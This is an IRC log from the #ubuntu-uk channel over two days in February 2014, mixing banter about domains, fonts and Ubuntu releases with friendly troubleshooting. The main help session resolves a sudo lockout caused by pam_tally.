<shauno> I may be a child, but it makes even the most boring documents funny.  "your use of the sexy registry" and "sexy special conditions"
<MooDoo> marxjohnson: damn you, beat me to it :D
<MartijnVdS> marxjohnson: doctor@tardis.sexy ?
<knightwise> im2sexy .. now there is a nice name for a company
<knightwise> 2smart4U
<MartijnVdS> knightwise: So, I get 2 small cars?
<jussi> prince@im2.sexy
<jussi> Im waiting for .funky ....
<jussi> :D
<MartijnVdS> jussi: what about under.construction - http://www.iana.org/domains/root/db/construction.html
<jussi> damn, I like it!
<MartijnVdS> booze.cruises? http://www.iana.org/domains/root/db/cruises.html
<jussi> HAHA
<jussi> no.construction?
<MartijnVdS> (jussi: Finland<->Estonia ferries, for instance)
<jussi> MartijnVdS: got it in one...
<MartijnVdS> jussi: ah yes, with your Finnishnes
<MartijnVdS> s
<jussi> I think they need a .bus - that could have some incredibly funny ones :D
<MartijnVdS> jussi: http://www.iana.org/domains/root/db/buzz.html
<MartijnVdS> jussi: close enough?
<jussi> haha
<jussi> hrm, anyone for a nice internet rumour? http://is.gd/0HMoQS
<bigcalm> My current desktop background: http://wallpapers.net/sandwich-wallpapers.html
<bigcalm> I am salivating now
<bigcalm> Think I'd have to eat it with a knife and fork though
<MartijnVdS> I bet they have an electronic (after)taste
<bigcalm> I tend not to eat jpegs
<shauno> you're missing out
<shauno> jussi: that rumour is impressive.  it actually takes some effort to make blogspot look that bad
<jussi> shauno: yup :D
<directhex> http://tf2wiki.net/ww/images/5/51/SandvichVidSplash.png
<MartijnVdS> what's the best use for those useless "cards" you get while playing?
<MartijnVdS> I've been selling them for â¬0,05 each
<shauno> I've been ignoring them and assuming they'll go away
<MartijnVdS> shauno: you can sell them for store credit
<MartijnVdS> for some games, you get â¬0,10/card, for some only â¬0,05 or less
<shauno> ugh, I hate when it locks me out.  how am I meant to know what my password is?!
<jussi> haha
<jussi> aaaw directhe` lost his x?
<directhe`> nah, lost a y
<directhe`> ` plus y makes x
<jussi> hehe
<jussi> hah!
<Laney> Î»'
<Laney> or something
<MartijnVdS> Laney: lambda prime?
<Laney> ` is in the wrong place to add to a y
<MartijnVdS> Î»' looks like something you'd use while deriving
<directhe`> Ê
<bigcalm> Heh
<knightwi1e> hmm
<knightwi1e> netsplittings again
<MooDoo> yay
<MooDoo> welcome back all
<cocoa117> when you do "kill $PID" what signal does the kill command send to the PID?
<directhex> SIGTERM
<TwistedLucidity> 15 in numbers IIRC
<MartijnVdS> kill -l :)
<MartijnVdS> but yeah what directhex said
<TwistedLucidity> You could alias "murder", "maim", "assassinate" etc.
<MartijnVdS> "terminate"
<MartijnVdS> "re-educate"
<daubers> Afternoon
<MartijnVdS> \o daubster
<bigcalm> Revoked - K.I.L.L.E.D. - revoked
<dwatkins> alias bloominwell='sudo'
 * daubers found a way to majorly cheer himself up
<daubers> other than losing the ability to spell
<MartijnVdS> daubers: is it SFW?
<dwatkins> loud music?
<cocoa117> the main bash script have wait at the end of it, it will wait till two subprocess die or finish their job before exit itslef. This way the main script can use trap to clean the other subporcess. when the main script with & at the end, it background the process. why when i kill the main process, i have to fg it before it disappear in process list?
<awilkins> Anyone know Haskell?
<awilkins> I want to patch Pandoc to do implicit header references in a case-insensitive manner
<awilkins> So you don't have to do [topic header](#topic-header)   to reference # Topic Header
<awilkins> Only Haskell turns out to be scarier than Perl
<awilkins> I've found the relevant piece of code, which is usually the hardest part of making any patch
<awilkins> Only I honestly haven't a clue how to change it :-)
<TwistedLucidity> // Here be dragons
<awilkins> Haskell comment string is --
<awilkins> -- Here be a twisted labyrinth of functional code
<daubers> MartijnVdS: Indeed! I resigned \o/
<awilkins> Ouch, scripting language dev frameworks
<awilkins> < 50MB of packages
<awilkins> > 500MB of disk space
<shauno> I'm not sure resigning is actually sfw
<popey> daubers: where you off to?
<Azelphur> Is anyone noticing issues with namecheap DNS resolution this morning?
<shauno> Azelphur: it's 5pm
<Azelphur> good point, my time zone is ruined
<shauno> you want to be careful with that.  you'll end up e-socializing with australians
<Azelphur> hehe
<shauno> but no, my only dns issues in the last 48 hours have been gandi laughing at my creditcard
<Azelphur> fun
<shauno> eh, they're not wrong.  vacations do that
<shauno> unrelated gripe; why does paste.ubuntu.com require me to login to launchpad to grab something as raw/plaintext?
<ali1234> because hackers were using it to host dodgy files
<awilkins> I'd imagine it's to stop it being used for filesharing
<bashrc> yes probably
<shauno> it's the only pastebin that requires this :/  and not being able to wget|grep is quite annoying when someone sends me a chunk of log
<bashrc> if I put a pastebin on my server I'd also have a login in front of it
<shauno> if I had a pastebin on my own server, I'd be the only one pasting to it
<shauno> but pastebin.com, github's gists, paste.debian.net, etc don't require this
<shauno> just came up because I pointed someone to a different pastebin because I can't search their logs well from ubuntu's
<xalyy> Helo
<xalyy> Can somebody tell me how can I apply new unique IP to my VM's? I bought several ip's with my dedicated
<xalyy> Ty
<shauno> I have a feeling you need to google proxmox+bridge.  I can't tell you much more than that due to a) not knowing proxmox, and b) alcohol
<shauno> Azelphur: saw this elsewhere, thought it may be relevant
<shauno> Please accept our sincere apologies for all the inconveniences you are experiencing at the moment. We regret to inform you that nameservers are affected by strong DDoS (Distributed Denial of Service) attack at the moment, which caused temporary unavailability of most of the services. Our technicians are doing their best to resolve the issue as soon as possible. Please follow our news at http://status.namecheap.com/?p=14846 We sincerely
<popey> neuro: so do i have to pay for multiple live accounts if my kids want to play with their friends but not on my id?
<neuro> on a 360, yeah, i think so
<xalyy> Im back
<xalyy> Proxmox + bridge
<neuro> xbox one has a home sharing thing where if there is a live account registered on the system, all the other accounts can use live services from that console
<neuro> shauno: b) ... hehe
<neuro> xalyy: good luck getting blocks of IPv4 without having to spend tons of cash
<xalyy> ?
<xalyy> What you mean?
<xalyy> Bought 13 ipv4 for 4$
<neuro> what, you got a whole /28? wheee :)
<shauno> neuro: friday is my only day off, and then I'm back to 12hr shifts for saturday through friday.  so yes.  tatranskÃ½Äaj ftw
<neuro> shauno: oof
<xalyy> And the joke is that download speed is 60mb/sec :D
<shauno> he doesn't need more than a /28, he's trying to put 10 VM guests on one host
<neuro> xalyy: is that all?
<xalyy> Yes
<xalyy> So
<neuro> unlucky
<xalyy> Just need to create a new vm with bridged mode? :)
<shauno> most likely, yes.  there's a chance it'll work just with ip_forwarding on the host, but most VM messes use bridging these days.  hopefully google would lead you to docs outlining the various scenarios / pros-cons though
<shauno> you must realise you're getting more and more specific, so you'll need to start depending on either the docs, or a proxmox-versed community (or both) very very soon.  if not last week.  so I can only do generalized answers, not spoonfeeding
<xalyy> Wow looks like its complicated
<neuro> mmm, spoon
<neuro> that reminds me, i really keep meaning to upgrade my esxi box at some point
<neuro> and migrate the boot/root onto a usb doohickey
<shauno> no you don't.  they're pushing the web UI harder and harder.
<neuro> i never use it
<neuro> i just use vsphere client
<shauno> that's the problem
<xalyy> Ok lets hope it works ty
<neuro> i'm mainly doing it because the hdd it's installed on is a bit broken
<neuro> stupid cost cutting zoostorm pc
<shauno> don't hope, read.  the internet is practically designed for documentation
<shauno> (and kittens)
<neuro> all my VMs are on an iscsi datastore, but they still occasionally screw up because something in exsi goes bad due to an hdd timeout
<shauno> neuro: last I heard they're trying to push the web client over the 'real' client, and hoping to the deities that the web client catches up in time
<neuro> makes sense
<neuro> i really only keep my vostro with win7 pro around because of vsphere
<shauno> it does and it doesn't.  it would, if the web client wasnt' pants
<neuro> well there's that ;)
<mapps> hi folks
<neuro> GUTEN ABEND!!!
<mapps> ';]
<neuro> i wrote some C# last night
<neuro> i feel filthy
<mapps> never ever tried it mysekf
<neuro> was trying to make a .NET Web.UI login box appear more attractive using bootstrap
<neuro> what a total total total pain in le bum
<neuro> had to extend a validation error class, had to try and rip out as much of the crappy skinning .NET applies (I mean tables, for heaven's sake)
<mapps> hmm
<mapps> why doesnt sudo work for me?
<neuro> took me ages to go from this https://www.dropbox.com/s/u4hn1xdflm25r6r/Screenshot%202014-02-20%2017.52.32.png to this https://www.dropbox.com/s/zsr64jicc9wynd9/Screenshot%202014-02-20%2017.52.44.png
<bigcalm> Twitter bootstrap!
<neuro> yus
<neuro> and font awesome
<bigcalm> Making the world a saner place
<neuro> indeed
<neuro> all the .NET stuff is still locked in the era of tables for formatting :(
<bigcalm> Is that the Ubuntu font?
<neuro> no, it's Open Sans
<neuro> oh, sorry
<neuro> Inconsolate
<neuro> Inconsolata (tch)
<neuro> http://www.google.com/fonts/specimen/Inconsolata
<neuro> i tend to use typekit for my own stuff, but this is for work, so googlefonts = free ;)
<shauno> neuro: I'm sorry you have to use .net.  accept a platonic hug.  /dcc SEND neuro hug.
<neuro> yeah, it's for our internal stuff that predates me by a long chalk
<shauno> I've apparently turned into a minor deity for a few of our internal teams, which has turned out useful for such issues.  I no longer care if it predates me, or if it violates various policies; people will stand behind me
<neuro> :)
<shauno> it started off when I kinda became "the other knowledgebase", which was messy
<shauno> and then I managed to bring on a US acronym as a customer that beat our next 2 years targets in one day, and now I have managers that adore me too
<shauno> it's turned into a really, really weird situation tbh
<mapps> why on earth cant i run sudo under my normal user ac
<mapps> just says try again wrong pass rubbish
<shauno> but the plus side is that I can get away with almost anything that doesn't break german privacy laws
<neuro> mapps: you're not a member of the admin group?
<neuro> or you're not specifically mentioned in sudoers?
<shauno> mapps: tail /var/log/auth.log  ?
<neuro> shauno: "the other knowledgebase" ... oooh, dangerous :)
<mapps> yea there's no admin group BUT user mark is a member of the group sudo and group sudo has ALL in /etc/sudoers
<shauno> I know, I can't type right now
<mapps> i lso added an entry for mark specifically..but still didnt work
<neuro> is this ubuntu?
<mapps> well xubuntu
<mapps> but same thing huh?
<neuro> hmm
<neuro> should be, i would have thought
<mapps> yea
<shauno> our issue is that we've turned "our" team into various global teams; china, india, brazil, US, etc.  and if they hit something that isn't documented, they know I'll answer
<shauno> mapps: paste your entry for mark?
<mapps> 2sec
<neuro> you should go on holiday for a month and see what happens ;)
<shauno> also, verify the permissions for /etc/sudoers
<shauno> neuro: I went away for 5 days, came back to ~600 emails
<neuro> lol
<mapps> mark ALL=(ALL) ALL
<shauno> ls -l /etc/sudoers  ?
<mapps> also tried mark ALL=(ALL:ALL) ALL
<mapps> readable by owner and group
<mapps> owned by root;root
<shauno> curious, do you use visudo to edit this?  (ie, could there be a flaw elsewhere in the file that stops parsing getting that far?)
<mapps> yea i had done
<shauno> neuro: I'll toot my own horn.  I convinced nasa we're a good idea.  our previous largest customer was a 'big box' retail chain.  turns out nasa have a *lot* more computers
<mapps> see when i go to users and groups it says nxt to user mark ' locked 4 7 failed logins - but er i can still login with it and ssh and everything? but then i cant change any settings as i dont have permissions and seemingly sudo isnt working fpor me atm
<mapps> the sudoers file says anyone in group sudo has perms
<mapps> so why wont it work!!
<neuro> have you checked the logs while you are trying to sudo?
<jpds> mapps: sudo -l
<mapps> lets see
<mapps> when i run sudo -l as root
<mapps> User root may run the following commands on this host:
<mapps>     (ALL : ALL) ALL
<mapps> il chec in a sec neuro  thanks
<neuro> run it as mark
<shauno> and as mark?
<mapps> ah i cant
<mapps> it asks for a password and then says try again
<MartijnVdS> are you using visudo ?
<mapps> yea
<shauno> you're just running 'sudo -l'?  alone?
<mapps> thats what they were saying to yea?
<shauno> well yes.  but on mine, that results in "User soneil may run the following commands ..."
<shauno> you shouldn't have to auth for that at all.
<mapps> mark@dimension:~/stuffs$ sudo -l
<mapps> [sudo] password for mark:
<shauno> o_O  I was gonna ask how old this is, but it works for me on 10.04, 12.04, debian7, osx and fbsd
<shauno> this is my confused face.
<shauno> and it ain't pretty
<mapps> using 13.10
<mapps> i dont get it then
<jpds> mapps: You don't have sudo access on the machine?
<mapps> yea
<mapps> but why?
<mapps> user mark is in group sudo
<shauno> ls -l `which sudo`  ?
<MartijnVdS> mapps: sure, but is %sudo in sudoers?
<MartijnVdS> shauno: ah good one, it might have lost its s-bits?
<shauno> well on mine, sudo is root:wheel, so the sudo group doesn't mean expletive
<shauno> now that's not ubuntu, but it should extrapolate
<neuro> mapps: stupid question, but which password are you putting in?
<neuro> yours or root's?
<mapps> yea MartijnVdS
<mapps> it is
<mapps> mine
<neuro> try the ls command shauno pasted then
<neuro> should be -rwsr-xr-x
<MartijnVdS> -rwsr-xr-x 1 root root 155008 feb 10 20:16 /usr/bin/sudo
<MartijnVdS> ^ that's mine
<MartijnVdS> (yes I'm on trusty)
<neuro> -rwsr-xr-x 2 root root 71288 Feb 27  2013 /usr/bin/sudo
<neuro> that's mine
<mapps> sec
<neuro> wow trusty sudo
<neuro> so big
<MartijnVdS> such secure!
<neuro> :)
<mapps> mark@dimension:~/stuffs$ ls -l `which sudo`
<mapps> -rwsr-xr-x 1 root root 123360 Feb 28  2013 /usr/bin/sudo
<mapps> mark@dimension:~/stuffs$
<neuro> mine is from precise
<neuro> huh, ok
<MartijnVdS> mapps: check /var/log/auth.log
<mapps> moment will do:)
<neuro> yeah like i said like 10 minutes ago ;)
<neuro> it'll probably say something like
<neuro> sudo: stop sucking
<neuro> sudo: STOP SUCKING
<neuro> sudo: YOU SUCK AT SUDO
<neuro> sudo: (previous message repeated 28 times)
<MartijnVdS> neuro: you have "insults" on in sudoers? ;)
<neuro> :D
<neuro> i always forget to turn that on
<MartijnVdS> neuro: time for a run of turning it on then ;)
<davmor2> neuro: you are going to have to change those sudo passwords dude ;)
<shauno> does linux do fat binaries yet?
<neuro> davmor2: ???
<davmor2> neuro: long day and wrong timezone :)  trying to be funny :P
<mapps> Feb 20 18:23:33 dimension sudo: pam_tally(sudo:auth): user mark (1000) tally 62, deny 3
<mapps> Feb 20 18:23:36 dimension sudo: pam_unix(sudo:auth): authentication failure; logname=mark uid=100$
<neuro> heh
<shauno> 100$  ?
<MartijnVdS> mapps: so.. you forgot how to type your password then
<neuro> might be a scroll marker
<neuro> like line > 80chars
<MartijnVdS> what is pam_tally?
<neuro> looks like pam tally needs reset ;)
<shauno> it would be awkward, 100x should be a 4-digit
<neuro> as root, i'd try # pam_tally --user=mark --reset
<neuro> then try sudo as mark again
<MartijnVdS> and next time, don't mis-type your password ;)
<mapps> LOL
<shauno> I have no idea what tally is, but this sounds convincing
<mapps> no MartijnVdS  is deff right honestly
<mapps> il be back in 10mins..gotta walk to work i can ssh and irc in though
<mapps> :D
<neuro> dammit
<mapps> hopoefully can sort this out..but i dont know how i caused sudo to misbehave?
<MartijnVdS> well, don't have pam_tally count romanian hack attempts, or you'll be locked out a lot
<shauno> as long as you can ssh root from work.  else no, delay work 20 seconds
<mapps> heh
<mapps> deff can:)
<neuro> it's like reaching a point in CSI or something where they might have just found out who the murderer was, and they cut to commercial
<shauno> PermitRootLogin is bad, mmkay?
<mapps> just have to sit on a pc where monitors face away so nosey people cant see what im doing ;)
<neuro> MartijnVdS: denyhosts ftw ;)
<MartijnVdS> neuro: I use fail2ban, but same effect ;)
<neuro> mapps: if they see a terminal, they may think you're a l33t h4xx0r
<shauno> mapps: putty/terminal.app fullscreen, with small fonts, white/green on black, what they can see doesn't matter
<shauno> my boss has used the phrase "like the Matrix" on more than one occaision.  fullscreen is your friend
<shauno> as long as you don't actually admit you're just chatting to slovakian schoolgirls on irc, terminal = work
<neuro> ctrl+a,ctrl+a
<shauno> mapps: odd question; did this ever work?  and what were you doing last time it worked?
<maps|wrk> HELLO
<maps|wrk> :)
<maps|wrk> took me longer than planned, these rubbish machines take ages to logon
<maps|wrk> so what do i do now about sudo?
<maps|wrk> :)
<maps|wrk> argh so now everyones gone
<AlanBell> maps|wrk: hi
<maps|wrk> hi AlanBell
<maps|wrk> MartijnVdS:  can you paste back what was said i should try to fix it
<SuperEngineer> anybody know if there's any update on u-1 being snafu'd?  u-1 staus gives a 50/50 ["we are investigating"] but unfo on music store and files says all ok
<SuperEngineer> [rather annoying when music store debits your paypal a/c but won't download files :(
<DJones> SuperEngineer: I think they have their own channel, #ubuntuone that might be worth asking in
<popey> it is
<SuperEngineer> it is - as in is the channel?
<DJones> Yes
 * SuperEngineer copies & pastes question to that channel
<SuperEngineer> [& thanks for pointer folks]
<SuperEngineer> for info - tried to send support request & guess what....u-1 appears to be temporarily but completely snafu'd
<SuperEngineer> oi! u-1 - you took the money but can't donload my music - gimme my money back :)
<SuperEngineer> SuperEngineer has faith in u-1 peeps hard work & fixing abilty - but don't tell them - they'll get smug ;)
<jussi> hrm, is there a better plugin for chrome/firefox than VLC for video?  I need something that I can change place in the stream with...
<maps|wrk> change place in the stream -- whats that mean?
<maps|wrk> vlc worked ok for me
<maps|wrk> but yea u said other than
<maps|wrk> neuro: ??
<jussi> maps|wrk: like on youtube ypou can change where you are in the video... vlc plugin has 0 controls...
<maps|wrk> ah ok
<maps|wrk> where did everyone go from when i was at home to me getting to work:)
<DJones> maps|wrk: Probably the pub, it is long past home time for most people
<maps|wrk> heh
<SuperMatt> woo for locally integrated menus!
<SuperMatt> http://blog.3v1n0.net/informatica/linux/ubuntu-introducing-locally-integrated-menus-to-unity-7/
<MartijnVdS> now THAT looks useful
<MartijnVdS> more useful than the global menu as it is now
<SuperMatt> agreed
<maps|wrk> hey MartijnVdS  can you paste the last things about sudo when someone said to dio something with pam tally or whatever it was
<MartijnVdS> maps|wrk: yeah, you must have enabled pam_tally?
<maps|wrk> mmpf
<MartijnVdS> maps|wrk: 19:37 < neuro> as root, i'd try # pam_tally --user=mark --reset
<MartijnVdS> 19:37 < neuro> then try sudo as mark again
<maps|wrk> im not sure what it is and how?
<MartijnVdS> 19:38 < MartijnVdS> well, don't have pam_tally count romanian hack attempts, or  you'll be locked out a lot
<maps|wrk> what is it?
<maps|wrk> heh
<MartijnVdS> 19:38 < shauno> PermitRootLogin is bad, mmkay?
<MartijnVdS> maps|wrk: I don't know, YOU installed it!
<maps|wrk> lol i thought u knew what pam tally is though i mean :D ok
<maps|wrk> seemingly somehow i did yea
<maps|wrk> root@dimension:/home/mark# pam_tally --user=mark --reset                                                                                                 User mark       (1000)  had 63                                                                                                                           root@dimension:/home/mark#      63 failed logins lol
<MartijnVdS> maps|wrk: yes.. by either yourself OR some h4xor knocking on the ssh port
<MartijnVdS> I guess
<maps|wrk> hehe
<maps|wrk> i thought that was the failed login attempts for when i tried to sudo under user mark
<maps|wrk> hmpf
<maps|wrk> HOORAH it works now
<maps|wrk> neuro: is a genius :)
<maps|wrk> so i must have set pam tally somewhere
<MartijnVdS> yes..
<foobarry> yay for turning off global menu
<bigcalm> I just did an dist-upgrade in 14.04 and got this during the install of bits & bobs: http://paste.ubuntu.com/6967999/
<bigcalm> Should I be concerned?
<maps|wrk> hmm
<maps|wrk> not sure
<bigcalm> davmor2: intel profile works for me now. I'm guessing that it's due to a recent update to python of the linux kernel
<davmor2> bigcalm: possibly there has been a bunch of landings recently for feature freeze
<bigcalm> I wonder if I should close my bug. But I don't know which updated item fixed it for me
<davmor2> bigcalm: just put this issue seems to of been fixed by an update and is working from and the date
<bigcalm> Okaya
<daubers> popey: Dunno yet, just had enough of the current place :)
#ubuntu-uk 2014-02-21
<mapps> hey
<shauno> go to sleep!
<mapps> no!
<mapps> you!
<shauno> that's ... not a bad idea
<mapps> ;]
<mapps> hey
<jussi01> morning mapps
<MooDoo_> morning all
<jussi01> morning mapps
<jussi01> and failed tab complete....
<jussi01> meant for MooDoo :)
<MooDoo> Don't worry today is a #fail for me as well :D
<jussi01> MooDoo: actually, Im feeling very positive about today :)
<MooDoo> yay :D
<jussi01> MooDoo: I made myself a very yummy smoothie - its a rocking way to start the day
<MooDoo> Just enabled locally integrated menus on my laptop :) 14.04 is shaping up to rock.
<mapps> hey jussi01  whats up dude
<mapps> oh jussi01  didnt even mean to say hi to me
<mapps> sheesh
<mapps> ;p
<jussi01> mapps: Im having a good enough day that I pinged you twice :D
<mapps> =]
<jussi01> mapps: I had said hi before!
<mapps> ah yea
<mapps> lol
<jussi01> hehe
<mapps> pinged me? why:)
<jussi01> (the 2x hi...)
<mapps> oh lol
<mapps> thought you meant a ping cmd;p
<mapps> ;]
<jussi01> haha
<mapps> 14.04 isnt out? what is this a test rls?
<jussi01> who what?
<mapps> 14.04 release
<MooDoo> 14.04 isn't released until april, it's not even alpha yet I don't think
<mapps> yea
<MooDoo> works fine at the moment though for me
<mapps> thought someone said they did dist upgrde to 14.04
<mapps> u on 14.04?
<MooDoo> yeah i did
<MooDoo> went from 12.04 to 14.04 LTS
<mapps> what is it then if not an alpha ..a dev build youre on?
<MooDoo> well you just update-managed -d to upgrade it :)
<MooDoo> update-manager
<jussi01> mapps: its alpha2 already
<MooDoo> ah I stand corrected
<jussi01> mapps: I have it on one machine
<mapps> so youre on alpha2 MooDoo ? lts?:P its an alpha
<mapps> :P
<mapps> hehe
<jussi01> sudo do-release-upgrade -d
<MooDoo> ah yes alpha 2 my mistake, any whoo runs ok at the moment :D
<mapps> yea
<mapps> 14.04 gonna be lts?
<MooDoo> yes
<jussi01> Kubuntu is running fine also
<MooDoo> https://wiki.ubuntu.com/Releases
<jussi01> the devel releases have been _much_ better since they brought in a whole bunch more testing
<MooDoo> and now they have put the menus in the window title bar which is nice
<mapps> kubuntu what rls
<jussi01> we pretty much now just have ubuntu as a rolling release, with milestone "stable" releases
<jussi01> mapps: 14.04 and 13.10
<jussi01> 14.04 on the home lappy, 13.10 on the work machine
<mapps> u have 14/.04 and 13.10 for kubuntu|?
<mapps> aha
<mapps> what u using atm o this machine
<jussi01> Im at work now
<mapps> aha
<MooDoo> windows 7 at work :(
<mapps> =[
<MooDoo> https://wiki.ubuntu.com/UbuntuGlobalJam
<MooDoo> any one up for a google+ hangout on the saturday evening of the global jam?
<mapps> ive never used google+
<mapps> is it worth me trying 14.04 MooDoo  im on 13.10?
<MooDoo> mapps: depends, remember 14.04 is only alpha and prone to break every time you dist-upgrade, although it's not for me yet.  So entirely up to you.  if it's a stable machine you're using now, then no.  If you want to play and bug test and don't mind your machine crashing every two mins then go for it.
<mapps> how many machines u use?
<MooDoo> mapps: I'm nuts so I've just got the one laptop at home, and I don't mind re-installing my OS every two mins if things break besides I dual boot with windows 8 so no great loss if I need to re-install ubuntu.
<MooDoo> Not had to yet though :D
<MooDoo> If you're unsure don't bother, it'll be out in a few months any way :D
<mapps> only one laptop?! no desktop/server?! !!
<mapps> and it must be a new laptop running windows8 ..what you do with your old ones..shouldnt chuck anything away
<MooDoo> mapps: ok I've got a VPS, which I'm talking to you from now, and a windows 7 server in my garage, but that's it.  I do have a 1u server waiting for memory and hdd's but can't afford the kit yet.  I'll vmware that baby
<mapps> what did you do with your old machines? as a windows8 laptop must be new!
<MartijnVdS> MooDoo: vmware.. or virt-manager/libvirt/kvm? :)
<MooDoo> mapps: the old laptop was broke so I chucked it.
<mapps> =[
<MooDoo> mapps: I like vmware, never played with virt-manager, I could look into it I suppose :D
<MartijnVdS> MooDoo: no, I mean, use kvm + virt-manager etc, instead of buying vmware and using that
<MooDoo> MartijnVdS: Damn you forcing me into looking at cool stuff :)
<MooDoo> MartijnVdS: buying?  vmware esx is free isn't it still?
<MartijnVdS> MooDoo: but still, it's not built into the kernel, is it?
<MartijnVdS> "VMware ESXi is a smaller footprint version of ESX that does not include the ESX Service Console. It is available without the need to purchase a vCenter license as a free download from VMware with some features disabled."
<MooDoo> MartijnVdS: nope, then again I might just sell the 1u and get a couple of cheap desktops and look into playing with cloud software, liking the sound of juju :D
<MooDoo> lol it's taken me all this time to realised the debian release code names were pixar related .. doh!!!
<MartijnVdS> MooDoo: wow.. you didn't know?!
<MooDoo> MartijnVdS: such a looser I know
<MooDoo> next you'll be telling me the ubuntu ones were animals.
<MartijnVdS> what's Fedora's theme thouhg
<MooDoo> the new name must have a relationship to the last name
<MooDoo> https://fedoraproject.org/wiki/History_of_Fedora_release_names
<MartijnVdS> "beefy miracle" wut
<MooDoo> lol that was a fun one
<MartijnVdS> it sounds.. 18+
<MooDoo> MartijnVdS: it's logo - http://4.bp.blogspot.com/-V0jXwSQrxVU/T9vJREtUg4I/AAAAAAAAAk8/NjF7EjyEFgs/s1600/fedora17-beefy-miracle-500x253.jpg
<jussi> sperical cow was awesomely named :D
<jussi> spherical*
<MartijnVdS> weirdos :)
<MooDoo> lol
<knightwise> morning everyone
<MooDoo> morning
<jussi> o/
<SuperMatt> sup dudes?
<jussi> morning SuperMatt
<SuperMatt> y'all right?
<diplo> Morning all
 * jussi is having a good day :)
<SuperMatt> huzzah!
 * SuperMatt is simply interested to see how this day goes
<SuperMatt> I have a full day on tickets after a month of being here
<jussi> MartijnVdS: Jono got dressed up for Beefy miracle: http://farm7.staticflickr.com/6224/6317631242_b3dfdb4b57_o.jpg
<MooDoo> morning morning
<SuperMatt> D:
<SuperMatt> it's too early for that sort of thign
<MooDoo> jussi: wow blast from the past
<SuperMatt> why do you do this to us?
<jussi> haha
<MooDoo> I've have to reschedule my MS exam booooo
<jussi> MooDoo: aaaaawwww
<jussi> :P
<SuperMatt> delaying the pain? I feel sorry for you :(
<MooDoo> SuperMatt: april now :(
<bigcalm> Good morning peeps :)
<nigelb> Hello bigcalm
<MooDoo> morning morning
<czajkowski> aloha
<MooDoo> hello czajkowski :)
 * jussi waves to czajkowski
<daubers> Morning all
<MartijnVdS> \o
<bigcalm> Looking at my bank account online, there is a payment to PayPal for 92p but there's no corresponding activity on my PayPal account. I wonder what's going on?
<diplo> bigcalm: Isn't that a test thing to check account? Used to be 10-12p or something ? I'd raise a question with them
<MartijnVdS> it was â¬0,01/â¬0,02 here
<MartijnVdS> and they deposited that in my account!
<diplo> MartijnVdS has a better memory than me.. I just remember a charge :)
<MartijnVdS> diplo: I just searched my online bank thing for the first mention of 'paypal'
<MartijnVdS> .. and it had enough logs to show me that authorization :)
<diplo> :)
<brobostigon> good morning boys and girls.
<MooDoo> morning
<brobostigon> morning MooDoo
<JamesTait> Good morning all; happy Friday, and happy International Mother Language Day! :-D
<MartijnVdS> JamesTait: Ook goeiemorgen! :)
<JamesTait> MartijnVdS, baie dankie!
<JamesTait> (Sorry, I'm attempting to utilise what little Afrikaans I kind of know, so I might be way off)
<brobostigon> guten morgen JamesTait
<JamesTait> Auch du, brobostigon. :)
<brobostigon> du auch :)
<JamesTait> I was always hopeless at German. ;)
<brobostigon> living in germany for around ten years as a child when my dad worked there, did help.
<jussi> HyvÃ¤Ã¤ Huomenta kaikkille :)
<JamesTait> I found the same living in London for three years - helped me to make sense of those strange sounds the people down south make. ;)
<jussi> even though my mother language is 'strayan....
<JamesTait> jussi, bless you!
<JamesTait> Or is that one you need a cream for?
<jussi> lol
<JamesTait> It looks painful, whatever it is. :-P
<MartijnVdS> how do you pronounce that?
<MartijnVdS> it looks almost as hard to pronounce as Welsh
<JamesTait> Steady on!
<JamesTait> It looks as much like someone just mashed the keyboard as Welsh though.
<MartijnVdS> JamesTait: Proper keyboards don't have Ã¤ in an easily mashable position though
<JamesTait> MartijnVdS, maybe you're not mashing correctly. :-P
<daubers> You people and your weird characters
<jussi> so
<jussi> who-vÃ¤Ã¤ (a with umlaut is like a in apple) who-oh-men-ta kaik-ki-leh
<MartijnVdS> but how do you pronounce two umlauted letters in a row?!
<MartijnVdS> just longer?
<jussi> yes
<MartijnVdS> jussi: https://www.facebook.com/vandeStreekBier/photos/a.451423728273961.1073741825.417406958342305/608163202600012/?type=1&theater
<JamesTait> Is kaik like cake, or like kike?
<jussi> kike
<MartijnVdS> jussi: one of my brewing brothers is in Tampere (I think) atm :)
<jussi> :D
<bigcalm> Ooo, Linux Voice just popped through my letter box
<popey> \o/ Linux Voice arrived
<jussi> popey: seems to be a common theme :D
<SuperMatt> linux voice?
<popey> http://www.indiegogo.com/projects/linux-voice
<SuperMatt> h cool
<SuperMatt> oh
<bigcalm> oh, it's magic
<SuperMatt> Â¬.Â¬
<bigcalm> :P
<MartijnVdS> top
<foobarry> linux voice sounds like some political pressure group
<bigcalm> Top left of the cover "Stop President Obama from reading your emails" - it's political already
<foobarry> LOL
<foobarry> little bit sensationalist
<foobarry> i don't think barry obama has the time to personally read my mail
<bigcalm> According to Ars Technica, "Ubuntu desktop moving application menus back into application windows". I had just got used to the global menu system
<foobarry> global menu was a major reason in me going away
<kvarley> But offtopic but are there any webdevs here?
<dwatkins> but yes
<TheOpenSourcerer> the global menu is a total PITA on a big screen - I'm forever moving the mouse miles to get to the menu. So glad in-app menus are coming back. :-D
<popey> bigcalm: you can still use it
<popey> its optional
<TheOpenSourcerer> kvarley: Kind of
<kvarley> I have an issue solely with Firefox 27 and up. MJPEG <img>s aren't working. They either load the first frame or the first second then stop working. If switch the tag to <iframe> they work. In Firefox 26 the site works perfectly tho. Ideas?
<TheOpenSourcerer> Sorry nope. Never heard of MJPEG until now ;-)
<kvarley> Haha no worries thanks anyway TheOpenSourcerer
<TheOpenSourcerer> Helpful? http://stackoverflow.com/questions/5269376/cross-browser-solution-for-displaying-mjpeg-stream
<kvarley> TheOpenSourcerer: The original system used cambozola. I want to avoid it. No need for plugins it's 2014!! haha
<TheOpenSourcerer> lol
<MartijnVdS> kvarley: just stream plain H.264 using <video> elements ;)
<MartijnVdS> kvarley: maybe <video> does MJPEG too?
<kvarley> TheOpenSourcerer: Annoyingly I NEED Firefox to work because it's the only browser that lets me change the max persistent http connections per server
<MartijnVdS> kvarley: why do you need so many though?
<kvarley> MartijnVdS: It's a CCTV system. 1 stream per camera
<MartijnVdS> kvarley: ah.. I've had lots of problems with keeping the connections going with that
<MartijnVdS> kvarley: for more than 10 minutes
<kvarley> Anybody know if SPDY still limits max persistent connections?
<kvarley> Reading online I get the impression it shoves many streams down one pipe essentially
<jmorgan_>  /join difftunes
<bigcalm> Is that were the output of diff is auto-tuned?
<MartijnVdS> bigcalm: diff foo bar > /dev/audio
<bigcalm> MartijnVdS: Just the sound of madness
<MartijnVdS> bigcalm: One Step Beyond!
<bigcalm> I used to SSH into a friends' machine and cat something from /boot to friends' /dev/audio
